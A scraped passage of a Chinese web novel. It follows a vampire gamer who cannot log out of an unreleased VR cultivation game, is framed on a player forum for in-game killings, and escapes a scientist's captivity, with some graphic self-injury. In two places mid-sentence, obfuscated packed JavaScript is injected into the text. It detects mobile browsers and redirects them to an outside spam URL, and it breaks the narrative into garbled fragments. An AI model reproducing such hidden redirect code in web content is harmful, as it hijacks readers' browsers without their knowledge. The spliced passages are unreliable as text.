但是怎么跟他解释?没法解释,毕竟魔头也只是这个游戏里的一团数据,你没有办法跟一团数据解释另一团数据的消失。 看着崔滢木木的脸,温如骨忍俊不禁,唇畔溢出一声笑。 又来。 墓穴里就是,一定要这么低低的笑吗? 崔滢坐在树下,抬头看他弯起的桃花眼,依旧面无表情。 ……那很爱笑了。 12. 宗门大比 黑发如缎,冰肌玉骨,形象干净分明,没有一丝多余的设计。从见到他的第一面崔滢就有这种印象,这个角色邪的很纯洁。 他一出现,所有的问题都得到了解释。 为什么矿道里会莫名其妙出现岩浆,为什么会有被注视的感觉。 都是这个阴魂不散的家伙搞的鬼。 时间会证明当初的选择有多么错误。崔滢叹了口气,今天耗费的心力实在太多,而且她总有种徐薇会提前下班突击检查的预感,遂掰向后耳,打算退出游戏。 嗡。 崔滢的手停在半空。 空气中漂浮着的刺目的红色警示倒映在崔滢的眼底,她的瞳孔微微放大,不敢相信自己看到了什么。 【登出失败】 手指连续点了几下。 【登出失败】【登出失败】【登出失败】…… 如坠冰窟,崔滢什么都感受不到了。 【登出失败】四个大字病毒一样充斥了她的世界,像是无数个黑洞,将所有温度剥夺的一干二净。 …… 温如骨好整以暇地看着崔滢的动作,她伸着手指对空气点了几下,脸上的神情就彻底僵硬了。 “那是什么?” 他抬了抬下巴,“你在搞什么?” “……” “把你怀里的东西给我。”见崔滢不说话,温如骨干净利落地挑开话题,“它不属于你。” 崔滢缓缓抬头。 “血髓琉璃兽。”说这几个字的时候崔滢差点咬了舌头,在旁人听来,她一字一句板板正正,倒像是某种认真的挑衅,“和你又有什么关系?” “我不负责回答问题。” “你和你的同伴闯进废矿,强行逼杀了一只血髓琉璃兽,这便是你们仙门的作风?”温如骨的声音不高不低,没有情绪起伏,咬字纤细伶仃,只能听出淡淡的嘲讽,“我若是出手再晚些,这只小兽怕是要被你上交长老殿,再关进秘境里了,对吧?” 崔滢:“我也不负责回答问题。” 温如骨笑了一下,“可以。” 明明是传说中的魔头,此刻却躺在仙门里的植桠上悠闲,浑身魔气收敛的一干二净,简直就像一个再寻常不过的凡人少年。 “我回答你的问题,你把琉璃兽给我,这样公平?” 并不公平,崔滢心说,但她也没有再拒绝的余地。 她这几天一直瞒着徐薇偷偷登进游戏,每次不到三个小时就登出,在徐薇到家前溜回去,假装什么也没发生。 但是现在出了个意外,她没法登出了。 无法登出游戏这个事实令她一贯平静的情绪有些起伏,实在没有更多的耐心和这个危险的家伙周旋。 “这只血髓琉璃兽和我没有关系,是从万兽谷里被放出来的。” “血髓琉璃兽生性胆小,以矿髓这类地精为食,不必要的话十年百年都不会钻出地面。如果不是万兽谷异变意外被放出来的话,它在万兽谷里原本待的很安逸。” 崔滢仰头看着他,安静地听着。 听着听着,她忽然看见那双黑黝黝的眼睛正在直直地注视着自己,“你还没听懂我在说什么吗?” “……” “万兽谷出了事情,消息理应是对外封锁的,有人故意传播走失妖兽的讯息,这个人大概率就在你们内部。”温如骨轻声,虽然还是温和的语气,但崔滢莫名其妙感觉他的耐心已经耗到尽头,“明白?” 崔滢:“哦。” “所以你刚刚在点什么?” “放松手指。” “废矿里的血髓琉璃兽,你们是怎么知道的?” “我什么都不知道。” “……” 又是这样。 又是这副死猪不怕开水烫的样子。 崔滢听见树上传来一声叹息。 “岩浆是我放的,你因此不得不迫杀了你的同伴。有什么感想吗。” 崔滢:“没有。” “你准备怎么跟那些长老解释?” “不一定要我解释。” “妖丹呢。”温如骨眯了眯眼,“你藏到哪去了?” 崔滢指了指怀里的幼崽。 “大概消化了,已经。” “…………” 他抛出了很多问题,她也基本都回答了。 不能说天衣无缝,确实有点缺心眼子。 “空心人。” 声音忽然很近,仿佛羽毛扫进耳廓,崔滢瞳孔微微一缩,盯着近在鼻尖的衣料,呼吸都静止了。 “你不怕我。”温如骨侧头,“为什么?” “……” “你背着你的同伴和宗门把我放出来,可是给他们造成了很大的困扰。” “他们都很想知道墓穴中的魔气从何而来呢,”他说,“你是唯一知道真相的人。” “为什么不把我的消息告诉他们?” 崔滢认真地回想了一下。 好像确实。从他们离开万兽谷之后,所有人都忙了起来,邱长老整日不见人影,不是在开会就是在开会,所以她也才能落得如此清闲,大摇大摆地跟着别人探索废矿。 原来是因为他啊,崔滢恍然大悟。 “睁眼了。” 温如骨往她的怀里看,崔滢跟着低头,或许是服用了母体的妖丹,这只提前岀世的琉璃兽幼崽睁开了眼睛。 崔滢在它清澈的瞳孔里看见了自己的脸。下一秒,幼崽闭上眼睛,亲昵地蹭了蹭她的腹部。 “……” “它把你当母兽了。”温如骨道。 崔滢立刻将小兽举起,强硬地塞进温如骨怀中,“给你了。” ? 趁着对方愣神的时机,崔滢从树干和温如骨之间的缝隙中钻出去,两条腿抡得飞快,身旁景物快速倒退。 眨眼之间,她撞上一面坚实的胸膛,捂着鼻子往后跌了几步,泪眼朦胧地看着闪现面前的温如骨。 “宋如莺,你是真的还是装的不懂?” “你打开了我的封印,便是与我建立了契约。”温如骨身轻如雾,抱着玉色的琉璃兽像是鬼魅一样飘到崔滢近前,目似怜惜地看着她,“不完成你的愿望,我就永远被这契约束缚,和被关在墓穴里没有区别。” “你解救我,又不将我的信息告知仙门,目的是什么?你想要什么?” “是要杀什么人,还是摧毁这片大陆,这个世界?” 他的眼神一寸寸变冷。 “告诉我。” 古往今来有无数召唤恶魔的邪法秘籍,温如骨见过太多。 那些孤注一掷出卖灵魂的召唤者,无不身负仇怨恨力,对世界失望透顶,或是一心要征服让所有人跪倒在祂的脚下……诸如此类。 恶魔兴风作浪的背后,都是一个又一个人的愿望。 只是,弱小卑微的人总会被故事遗忘,最后剩下可怕又强大的恶魔,在历史记忆里刻骨铭心。 在温如骨的认知里,崔滢冒着性命危险将他从棺材中启出,一定有着不凡的目的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16269640|182250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 只是这个女人故作骄矜,一直在浪费时间而已。 崔滢这边也在努力理解。 恶魔+愿望=阿拉丁神灯? 但是好崩溃呀。 张口闭口毁灭世界,到底谁闲的没事干要毁灭世界啊! “你走吧。”她说,“我永远都不想再见到你,这就是我的愿望。” 天际的破晓晕开一线,温如骨苍白的颜色染上一丝温度,他的瞳孔蓄着薄光,静静地落在同样苍白的女孩身上。 言行举止,不管嘴里在说什么鬼话,那双眼睛始终像两只死物,寂静,深黑,反射不出任何光线。 没有心跳的人。 还是,没有心的人? 在女孩的话音落下之后良久,温如骨才道:“这是要求,不是愿望。” 空气中的微尘旋转飘舞,声音余韵散开,眼前已空空如也。 崔滢终于听见了自己的呼吸。 她迈开腿,再度奔跑起来。 天光像扩散的白细菌在天幕渗透,亮的越来越快,崔滢感觉自己的肺部和气管在灼烧,她像一道闪电穿过山林,尽头是一间朴素的草屋小院,那是崔滢在罗汉峰的落脚地。 即将扑进门口的时候,晨光也追到了身后。 “等——” 短促的字句涌出口腔,伽莱猛地睁开眼睛,身侧的冷液消下去大半,她的胸膛剧烈起伏,盯着舱室口,寒气打在身上,清晰而明确。 哗,舱门打开,伽莱坐起来,在一旁看书的玛丽立刻放下腿,熟练地拔下那些线用毛毯裹住伽莱,看着她有些惊魂未定的神情,有些紧张道:“怎么了,没事吧?” 伽莱挪动眼珠,对上玛丽的视线。 “我刚刚。”她张了张嘴,组织了一下语言,“……玛丽,可以把你哥哥的联系方式推给我吗?” “?”玛丽拿出手机,“当然可以,不过你得先告诉我发生了什么。” “我登出失败了。” 伽莱简明扼要,“在我没有选择登出的时候,我却醒了。” 这认真的语气让玛丽又放下了手机,伽莱看着她,黑黝黝眼睛没有一丝反光。 “这游戏违背了玩家意愿,你能懂吗?” 玛丽一边听一边坐回自己的书桌前,凝眉点头。 “我在游戏里的感受非常真实,那种体验不止于一个游戏,就好像,另一个世界,玛丽。”她的语速越来越快,“它有可能……可能用到类似的神经科技?我不清楚。我想说的是,这种情况下能自由登出,说明我还是玩家;反之,如果连登入登出都不能让我自己控制的话……这和恐怖片有什么区别?” “我明白。” “那种感觉非常糟糕。” “我知道,伽莱。” “我从没有这么可怕的体验,天啊!” “冷静,冷静伽莱,我懂你的意思。” 玛丽竭力安抚,“我之前尝试的时候没有出现这种问题。你先冷静一下,我先问你,你还想要继续玩这个游戏吗?” “……” 房间里陷入了意料之内的沉默。 “好吧,一时间回答不上来也行。”玛丽道,“你先回家好好休整,调整一下心情,我把我哥哥的联系方式给你,这段时间你可以不过来,想清楚之后再来找我,好吗?” 或许是玛丽柔和的语气起了作用,伽莱的呼吸平静下来,点头示意。 沉默在空气里盘旋。 伽莱浑身一震,猝然抬头,“现在几点了?” 13. 宗门大比 伽莱到公寓的时候是八点四十。 穿过公共庭院的时候她甚至在暗自祈祷,祈祷从学校到公寓这段路堵车,祈祷学院里又有什么突发情况留住徐薇。她裹紧大衣,嘴里念念有词的穿过大厅,登上电梯,停在大门前的时候深吸口气,手指放上去停了一会儿,才摁下密码。 嘀嘀,嘀嘀嘀。 门开了。 客厅洒落的暖黄色灯光就像一纸定罪书,伽莱知道自己再怎么挣扎都没用了。 她调整状态,尽量低眉顺眼地走进去。 电视开着,内容是国际新闻,正播报到某国战争,一颗导弹砸下去,砖块瓦片暴雨般飞溅,无比惨烈。 徐薇抱臂坐在沙发上,高领羊绒衫衬的她笔直又修长,一条手作项链长长的垂在胸前,底部悬着一块骨头似的东西。温润的侧脸线条在暖光灯下泛着冷意,瞳孔无机质般毫无情绪,一点眼神都没落在门口的伽莱身上。 “对不起。” 最后是伽莱先开口,“我回来了。” 新闻没有停,房屋如同纸糊的玩具在那一方小小的屏幕里被压碎,伽莱缓缓走过去,脱下大衣,捋起毛衣的袖子,两只手悬在半空,像是等待被捕的囚犯。 眼睛一瞥。 桌上摆放着一整套的银质首饰,黑色绒面底座,项链戒指耳饰一应俱全,在灯光下泛着偏蓝的冷光。 伽莱叹口气,知道自己已经没有商量的余地了。 她走过去拿起那一对叠放的手镯,两只手都戴了进去。 只这接触的一下,手指与手腕开始冒烟,紧接着,接触的地方泛起一圈极淡的粉晕,像被热水烫过的痕迹,以肉眼可见的速度加深,变成一种近乎发紫的猩红。 红肿的中心裂开细密的口子,淡黄色的液体顺着裂口渗出,带出一股腥臭味。 苍白的皮肤此刻像被强酸浸泡过层层剥落,先是鲜红,再是白骨,细小的血管在溃烂处突突跳动却无法愈合,反而随着银器的持续接触一点点变黑枯萎。 这触目惊心的景象,崔滢却只是皱眉,额角渗汗,呼吸有些艰难。她又接着戴上了耳环,项链,戒指,滋滋的声音和电视里播报声相映,毛衣被暗红粘稠的血水浸透,那种液体不像是普通血液,更接近半凝固的状态,从银饰底下不断涌出。 徐薇很久没有开口,伽莱有些坚持不住,扶着桌子蹲了下来,耳环率先从融化的血肉中脱落,当啷掉在地上。 “你的愈合速度变慢了。” 轻飘飘的一句,让伽莱心中一紧。 愈合速度变慢是因为她在游戏中耗费了大量能量,此时的她已饥肠辘辘,但毕竟惩罚正在进行,这才不好现在中断去冰箱拿食物。 “卸了吧。” 如蒙大赦,首饰卸下时甚至带下了一层皮,但伽莱毫不在意,反而重重松了口气,弱声道:“我先去睡觉了。” “冰箱底层有一个真空袋,你今天试试那个。” 拎着血袋钻进地下室,伽莱第一件事就是褪去脏污的衣裳,冲进浴室将浑身的血污洗干净。 水流开得很小,以免冲击到新生的皮肤。洗完澡后她换上一套冬季睡衣,舒舒服服地躺进了自己的棺材。 这是一口1.5米高的棺材。 底部铺着柔软的碎花褥子,侧上方用吸盘钩子挂着收纳篮,顶部一只插电款南瓜led灯,插排放在小桌板上,三米电线一路连接到棺材外,源源不断地输送着现代能源。 小桌板上分别放着一张散热架,一台游戏本,还有一包瘪下去的抽纸。 桌板前,伽莱身穿暖调橙红色毛绒拼接睡衣,一条腿曲起放在下颌边,脖子上一个绿色的U形枕,嘴里叼着刚从冷藏库里拿出的血袋,上身前倾眼神专注,暴雨般的键盘声一刻也不曾停止。 她先是在浏览器搜索了一遍《修仙人生》的关键词,刷新了几个页面都是无关紧要的东西;又转战去各大社交媒体APP,结果都是一无所获。 正如玛丽所说,这是一部没有上市的游戏。 玛丽的哥哥是制作组的内部人员,所以才有机会接触到内测名额。那像庄明俊一样的其他的玩家呢,他们又是怎么接触到这个名额的? 一边想,血袋中的液体溜进口中,思考《修仙人生》的时候都没什么反应的伽莱却在这时皱起了眉,她抿住血袋,咂摸了一下口味,心下了然。 徐薇一直在进行人造血液的相关实验,所以总是不定时带回一些特殊的血液。 站在科学的角度来说,人造血液主要承担了人血的一部分输氧功能,在很多效用上仍不足以匹配人血;站在伽莱的角度来说,人造血液和人血就是现炒菜和预制菜的区别。 通俗点就是不好喝与好喝的区别。 新鲜的血液带着晨露般的清甜;老迈的血则沉郁如陈酒,喝下去时像咬碎了风干的红浆果。 至于人造血……人造血就是塑料。 不仅塑料,而且麻烦,喝完之后还得给徐薇写饮后感。伽莱打开文档,敲了会儿字实在灵感枯竭,于是点开浏览器试图向AI寻求帮助,眼神落在了浏览器首页一闪而过的新闻上面。 ——【独家】中国女科学家徐薇突破性成果:一颗分子解决慢性伤口所有难题! 伽莱:“……” 鬼使神差,手不受控制地点了一下,下一秒,铺天盖地密密麻麻的文字占据了伽莱的全部视野。 不敢细看,滚轮飞快滑动,那些文字如同掠影飞刀在大脑划下深深浅浅的伤痕,吉光片羽组合出了大致的信息: -徐薇团队从线虫和斑马鱼的创伤修复机制中获得核心灵感,设计出了一种名为“JL”的特殊分子结构……这是全球首次实现单分子多靶点协同治疗。 -三年前,当徐薇提出这个构想时,国际同行普遍认为不可能。传统生长因子半衰期不足6小时,而她的分子在动物体内稳定作用超过72小时;现有技术需要水凝胶或纳米颗粒载送,她的分子却能自主靶向富集在伤口部位…… -这种智能分子能读懂伤口微环境的应激信号与生成指令,并作出精准响应…… -如今,这项突破性研究已进入多中心临床试验阶段。 -据最新行业报告,全球伤口管理市场规模将在2025年突破280亿美元。徐薇团队的成果已引起跨国药企高度关注。 …… …… “这好比要同时拧紧五个松动的齿轮,但手里只有一把扳手。” 网页搜索关键词跳出来的是徐薇在联合国教科文组织巴黎总部大厅的穹顶下演讲的视频,水晶灯与无数相机闪光交织成一片流动的星河,映照出女人一贯漠然如器械的眼睛,“我们需要的是能自我调节的智能工具。” “……” 快速愈合的分子。280亿美元。 伽莱口中的血袋被咬的哗啦作响。 线虫?斑马鱼? 智能工具? 名为“JL”的特殊分子结构…… 伽莱往后一靠,血袋彻底瘪了下去,她深深地吸了口气,深黑的瞳色里微微闪动着电子屏幕的细光。 怪不得前段时间动不动就消失,原来是忙着领奖去了。 之前还会定期在她身上取血取皮,最近却很少有动作,原来是终于研究出成果了。 扣押她这么多年,就是为了这些吗? 脆弱又短命的人类,绞尽脑汁从长寿种族身上破译这些秘密,又有什么意义呢? 如果伽莱下定决心要跑,她相信自己不是不能离开徐薇。 只不过那之后,可能需要风餐露宿,月晒雨淋,可能不会再有柔软的床榻,用不完的电,高级游戏本和安全的血液来源。 徐薇困住她的手段并不复杂。 给了她一个温馨便捷的环境,让她食髓知味,依赖上这样的港湾,然后,彻底失去面对风雨的心境。 食物,电子产品,空调。 离开这三样,伽莱已经不知道该怎么活了。 正发着无名状的呆,手机这时响了一下,锁屏显示是玛丽的信息。 她抄起手机,手指摁在屏幕上。 嗡。 未能识别您的指纹。 伽莱:“……” 塑料血就是次,这么久指纹都还没长出来。 早知道设置人脸识别了。 虽然这样想,但伽莱每次一打开手机就将这件事抛之脑后了。 玛丽给她私信了一个人的主页,头像不认识,但大概是个某个球队的logo。伽莱点了关注过后发了一条打招呼的私信过去,本来以为要等一会儿,没想到对方设置了自动回复,回复是另一个人的主页,还有一串数字。 伽莱看着这个系统头像乱码id的账号陷入了沉默。 如果不是发信人是玛丽介绍的人,她估计会把这当成垃圾信息过滤掉。 这个人的主页设置了密码,解密之后才能关注。层层包装过后,伽莱耐着心发了一条打招呼的私信过去,对方同样设置了自动回复,跳出来一串网址。 伽莱:“……” 有完没完? 她忍了忍,复制网址跳转,加载几秒过后,手机页面黑了。 “…………” 就在伽莱想摔手机的时候,屏幕重新亮起,背景却不是她熟悉的背景,以深紫和暗灰为底色,正中央一片青色的革质厚实的尖翘叶片。伽莱想截图搜索,却显示当前页面涉及隐私信息不允许截图。 页面转场过后,伽莱看见手机里跳出的东西,心下了然。 这是一个游戏论坛。 最上方的置顶是管理员发的游戏守则,内含《修仙人生》所有的玩法与规则,全英文,最底下有个翻译的按钮,伽莱看了一下,只有中英两种模式 她躺在棺材里滑动这条守则,越看眉头越紧。 包括这个论坛,里面的大部分规则,玛丽都没有跟她说过,只字未提。 或许玛丽也不知道? 伽莱盯着守则里的第一条。 -每个账号只有一次存活机会,一旦在游戏世界中死去,将永久失去登陆资格。 哗然。 虽然知道《修仙人生》追求的就是模拟现实,但模拟到这种程度,未免有点太沉浸了。 除了守则,官方还发布了几条帖子,主要介绍游戏地图和相关设定。这对伽莱来说无异于救命稻草,她凝神翻看了一会儿,退出去往下滑,发现论坛的帖子全部都是英文。 伽莱本想在这个论坛里找几个东方本土的同好,说不定可以帮助自己理解一些仙侠设定;却没想到这个游戏的面向如此狭隘,都不是会说英文的人,而是精确到在英文环境中成长并且中文略有小成同时还对仙侠这种东方题材感兴趣的人。 很严苛的条件,不知道制作组究竟是怎么寻找内测人员的。 她又往下翻,随意点进去一条【已回复】标识的帖。 【@管理员无法登出是什么情况?】 伽莱心下莫名一安,看来不止她一个人有这个问题。 管理员回复:你好,《修仙人生》目前正在内测阶段,服务器不定时更新维修,为了更加稳定的游戏体验,今日起将开启限时登陆,每天下午五点到八点为一个期限,玩家可选择是否登陆。一旦登陆中途不可随意退出。感谢您的理解。 下面炸开了锅。 16L:搞什么鬼啊这破玩意儿???下一步是不是要把我们的数据卖给广告商啊?一群蛇精病#抵制垃圾 21L:你太阴了兄弟。 25L:把人骗进来杀是吧别逗我了行吗? 越看,伽莱越觉得奇怪。 管理员底下的楼层虽然看似激烈,但翻来覆去也就那么几个账号,和她认知中的内测人数不大匹配。 除非…… 她猝然打了个寒颤。 除非这些被召来内测的玩家和伽莱一样,都是通过某种渠道进入游戏的“特殊人员”。 “特殊人员”最擅长的就是隐藏自己,潜水窥屏。事情越是重大越如此。这种凉意十足的直觉在伽莱的脑子里挥之不去,她不敢再细想下去,晃晃脑袋,退出去继续往下翻。 一条【HOT】的热帖吸引了她的注意,标题几个大字十分抢目: 【我在游戏里被杀了。】 伽莱:“……” 很奇妙,很熟悉。 不会这么巧吧? (发帖时间:20:17来源:冷锋不孤独) 楼主:我在游戏里被杀了,真的。 细节记不太清楚了,我是在一个类似山洞的地方被活活烧死的。 以防有人想知道被烧死是什么感觉,我只能说痛,太痛了,人这一辈子只能经历一次这样的疼痛,而且还逃不了,因为有人掐住了我的脖子,ta把我固定在那个位置,我是被火活活烧死的。 伽莱的眼睛滑过那些触目惊心的文字。 楼主花了大量篇幅详细描写自己被烧死时的感受,精细到细思极恐的程度,上一秒还在描述火焰灼烧皮肉的痛楚,下一秒就转到了山洞内部的环境描写,说着说着又话锋一转,说杀死自己的也是一个玩家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16269641|182250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 楼主:我确定,一定,肯定对面是和我一样的玩家。 底下第一条回复就抓住了重点: 1L:这是第几个了?初开服时所有玩家自主签订的和平条约是不作数了吗? 2L:死一个我不信,死两个我说实力问题,五个以上这绝对是有人顶风作案! 6L:觉得自己老牛逼了实际上就是缺爱的关种[哈哈] 7L:我说真的现实不敢犯法只能到游戏里重拳出击,户口本翻一页就到底了吧进厂找点活干行吗玩尼玛的游戏呢? 15L:楼主看看我,怎么发现对面是玩家的? 楼主回复15L:游戏视界。那是我第一次体会濒死的感觉,最后一秒的游戏视界会显示所有信息,我还看见了对面的昵称,叫Gale。 屏幕外的伽莱虎躯一震:? 真是你啊,冷锋不孤独! 原本看见那些模棱两可的描述还抱有一丝侥幸,谁想对面直接连她的id都报出来了,要不要这么坑! 瞬间引起轩然大波。 18L:卧槽我要哭了,楼主大义,这么多天终于有人看见一点线索了。 19L:楼主大义。 20L:楼主大义。 21L:楼主大义。 …… 想起矿道内与庄明俊的那些照面和对话,伽莱不免胆战心惊。 唯恐他再说出些什么,伽莱继续往下翻,好在“冷锋不孤独”坚称自己什么都记不清了,只记得濒死前看见的id。 长舒一口气。 她算是看懂了。 在伽莱加入论坛之前游戏里已经有玩家陆续死去,而“冷锋不孤独”的死亡意外成为了最后一根稻草,现在所有的锋芒,都指向冷锋口中那个id名为“gale”的账号。 伽莱退出去缓了口气,挑了一个帖子点进去。 【根据目前的线索讨论一下幕后真凶】 (发帖时间:20:55来源:Ronronner) 楼主:各位好,很抱歉,但我要说这里的大部分人都不了解《修仙人生》。 这是一部根据东方玄幻仙侠体系创造出来的游戏,其中的很多设定和规则对于你们来说都十分陌生。不敢夸下海口,但我应该是比各位要稍微懂一点,我将在这里放出我的分析。 根据官方目前发布的地图设定来看,还是经典的人,仙,海格局。仙盟由一谷五门十二宗共同成立,玩家的初始身份都是仙门的外门弟子,在这几家中随机分布。 目前遭遇异常死亡的亡灵,两个无垢宗,一个乾元宗,两个丹阳宗和赤月门的,还有三个来自万兽谷。 游戏的卖点在于“真实世界”,让玩家探索并体验,通过完成任务来获得天赋和道具奖励,目前还没有出现十分主要或者危险的剧情,基本可以排除剧情杀,所以凶手是玩家这个点我比较赞同。凶手使用了某种特别的天赋。根据冷锋不孤独的帖,很有可能就是这位id名叫“gale”的人。 1L:官方真的不能管管吗?要不拉个黑名单,要不把一次性生命这个点给改了,体验感超差。 2L:顶,死一次就成黑户了,哪有这种事,还想不想做游戏了? 5L楼主:我觉得凶手就是这五个宗门里的人。 6L:楼主细说。 10L楼主:大家可以去看一下官方发布的仙盟地图,三山五岳分隔出十八个宗门地点,东西南北的区域非常分明的。之前提到的无垢宗,乾元宗,丹阳宗,赤月门和万兽谷就是属于南方区域,在确溪和太武两座山的阴面。 我再重复一遍,凶手很有可能就是玩家,因为只有玩家才受限于游戏剧情和设定,没办法像修仙大能那样穿越山川湖海,只能在固定范围内活动。 我知道这里肯定会有人反驳我。但我要说的是一个大部分人都不知道的消息,就是万兽谷的动乱。 万兽谷的妖兽失控,整个谷的人一夜之间全部死亡,前去探查的宗门十死九伤。不巧,这些去探查过的宗门,就是我刚才提到的那些。 懂了吗?如果我们之中有一位想要搞内讧,那么ta将来自这五个地方,并且有充足的作案机会。现在我们除了一个id名什么都不知道,所以这五个宗门的玩家务必小心谨慎,注意观察,及时通信。 以及,不管发生什么,都不要向任何人透露玩家的身份,因为我们之中有间谍。这是我的建议。 …… 伽莱退出,再刷新时,论坛主页已经多了好几条关于凶手“gale”的帖子了。 “长期征集凶手信息,已知id名:gale。” “那个叫gale的藏好你的皮,别让我在游戏里发现你!” “这种恶魔败类一定要被千刀万剐啊(拜)” 气氛发酵到一定程度后,甚至还有侠义之士公然站出:“躲在屏幕后面畏畏缩缩的败类!我是无垢宗蒋何宵,坐标星汉峰,有本事就来杀我!”底下一片叫好声。 短短十几分钟,伽莱就看完了自己从平民到公敌再到被通缉的全过程。 “…………” 谁懂,谁能懂。 这些人口中的魔头和她有半毛钱关系? 伽莱扶额。 还有那种自曝身份的蠢货,死了还要算在她头上,这都什么烂事啊! 明明就是正当防卫! 伽莱冲着空气挥拳,挥到一半停下,脑子里的碎片渐渐合在一块,那个诡异的直觉再度涌出: 为什么这些人都没想着要举报游戏? 强制禁止登出是多么可怕的事,人类科技日新月异,那台包含舱室和神经线的游戏机器看上去就是邪恶科学家的标准产物,稍有不慎,极有可能搭上性命。 伽莱就不会举报,她是典型的已经活腻了的长寿种族,又不想累着自己,这种有点风险的游戏正中死宅的下怀。 除非这里的玩家和她一样,都有不能,或不想揭穿的理由。 这样想着,伽莱忽然听见什么,抬手将棺盖推的更开了一些。 “……我今晚要去上海。”是徐薇的声音,大忙人脚不沾地,研究出成果了更是闲不下来,“我已经向学校请了假,这几天你好好待在里面,这是最后一次警告。” 什么,什么意思? 伽莱一把推开了棺盖,从里面爬出来,疾步走上台阶,伸手试探了一下地下室的小门。 锁了。 刹那间伽莱浑身的血都凉了。虽然本来就是凉的。 ——徐薇竟然想软禁她! 14. 宗门大比 伽莱在第一时间打开手机,发现徐薇不仅是软禁她,甚至连家里的网都断了,摆明了要断绝她和外界的联系。 有点可笑的是伽莱一点也不担心自己的安危,她首先想到的是明天下午的游戏。 退出游戏的前一刻她还待在屋外,一旦错过登陆时间,游戏里的崔滢被阳光照射到,恐怕就要灰飞烟灭了。 伽莱咬着指甲,走来走去,不免感到焦虑。 行李箱滚轮的声音经过地面,然后是地毯,玄关,门开门关,锁死。连出声申辩的机会都不给她留,伽莱吐出口气,抓了抓头发。 冷静,冷静。 血族和人类有着本质上的区别,她配合徐薇装乖装了这么些年,徐薇未必能真的关得住她。 伽莱的气血有些上涌,从前那些事情她从未有一刻像现在这样动怒,连伽莱自己也不清楚。或许是因为徐薇连表面功夫都懒得做了,毫不留情地撕开那一点点温馨的假象,反复提醒她只是个被囚押的实验品。哪怕是一盏灯,一只碗,即使是一只地下室蟑螂朝夕相处过后都能生出感情,徐薇怎么能比她还无情? 认真想一想。 徐薇一定有监视的手段,所以才敢这样关住她。 她曾一度怀疑徐薇在她的身体里安装了什么,跟踪?自爆装置?那一类的玩意,防止她某天失控出逃,就地斩杀。 阳光是太阳发出的电磁辐射,而太阳的主要能量来源是核聚变。理论上来说,在自然阳光之外,核辐射也能置她于死地。 人类社会就像是一个畸变的怪兽,不论是多么厉害的种族,也早就不是无敌的了。 一边思考,伽莱回到了棺材里面,她现在最需要做的就是冷静,等徐薇彻底离开多伦多,届时再行动,胜算才会大。 伽莱缓缓曲起腿抱住了自己,温凉的目光注视着电脑屏幕上科学家新闻,周身的黑暗沉降下来。 她闭上眼睛,第一次违背自己的生理惯性,在黑夜之中沉沉睡了过去。 四个小时过后,伽莱睁开眼睛。 地下室里没有锐器,或许早就在为今天做准备。伽莱看向自己的手,指甲光滑坚硬暗藏锋芒,本就是血族的利器之一。 她爬出棺材,先用右手抠住左臂,指尖深深没入皮肉,深吸口气,颤抖着用力划烂手臂,深可见骨,然而什么都没有。 如法炮制,伽莱又划烂了自己的右臂。 在接连划烂腿,后颈,眉心等部位之后,伽莱想到了什么,伸手向自己的后背。 她的手臂天生较长,划烂血肉之后伸进去握住脊骨,一寸一寸摸下去,终于在靠近尾椎的地方,她摸到了一个格外滚烫的骨节。 伽莱竭力侧头,用手机前置镜头照出骨节的颜色,那是一截显目的金属,上下连接雪白的脊椎骨。看清楚之后伽莱的呼吸滞住了,首先是因为徐薇真的对她做了手脚,其次就是这意料之中的手脚竟如此决绝。 她捏着那截金属,指尖发烫。 是追踪器,还是炸药?总之一定是足够致命的东西。 划开的伤口在渐渐愈合,浑身的血水与碎肉滴滴答答,伽莱跌撞着爬上台阶,手摁在地下室的门板上,一只光滑的蟑螂窸窸窣窣爬到门板上,两根触须摇晃。 伽莱看着它,弱弱地勾了勾唇角。 “我知道。” 轰地一声,门上的弹子插芯锁瞬间脱落,细密的裂纹以锁孔为中心呈放射状散开,伽莱浑身浴血从地底昏暗中走出,乍眼看去宛如恶鬼,那双眼睛却无神又无辜,还透着些许的茫然。 越是稀松的囚牢,身体里那截金属的危险性就越高。 伽莱率先去冰箱拿血袋,猛灌几口后,她冲进浴室快速清洗一遍,换上一套干净衣物,然后来到了徐薇的卧室。 认知里,卧室应当是私密性极高的地盘,所以过去这些年如非特殊情况,伽莱从不主动进入徐薇的卧室。她站在徐薇的床前环视一圈,精准锁定挂衣架,徐薇的白天穿的大衣就在上面,她往衣服口袋里一摸,指尖触碰到坚硬的卡面折角,心道有戏。 十五分钟后,伽莱穿着鹅黄色长款羽绒服,脚踩一双雪地靴,两只手揣在口袋里,神容冷肃疾步穿过公寓的花园。 多伦多下起了今年的第一场雪。 遍地晶莹洁白,天空像粗制的草纸不断刮下大片碎屑,凌晨大街上人影稀少,只有24小时便利店的暖气电器在嗡嗡作响,穿反光背心的年迈清洁工正在缓慢地清理台阶,颜色寂寥的像是末日前景。 伽莱还是选择叫车,徐薇给了她一张银行卡,这也是之前伽莱能够忍受的原因之一——她起码给了她一个如同正常人的生活。 银行卡还没有被冻结,说明徐薇大概正在飞机上酣睡,还没来得及查看监控。 雪天路滑,出租车一路疾驰,经过一栋工业旧楼后,距离园区五百米的时候停下。车门一开一关过后轰然离去,伽莱两手揣兜透过漫天大雪望向黑漆漆一片的园区,第五次吸气。 这里就是徐薇的独立实验室。 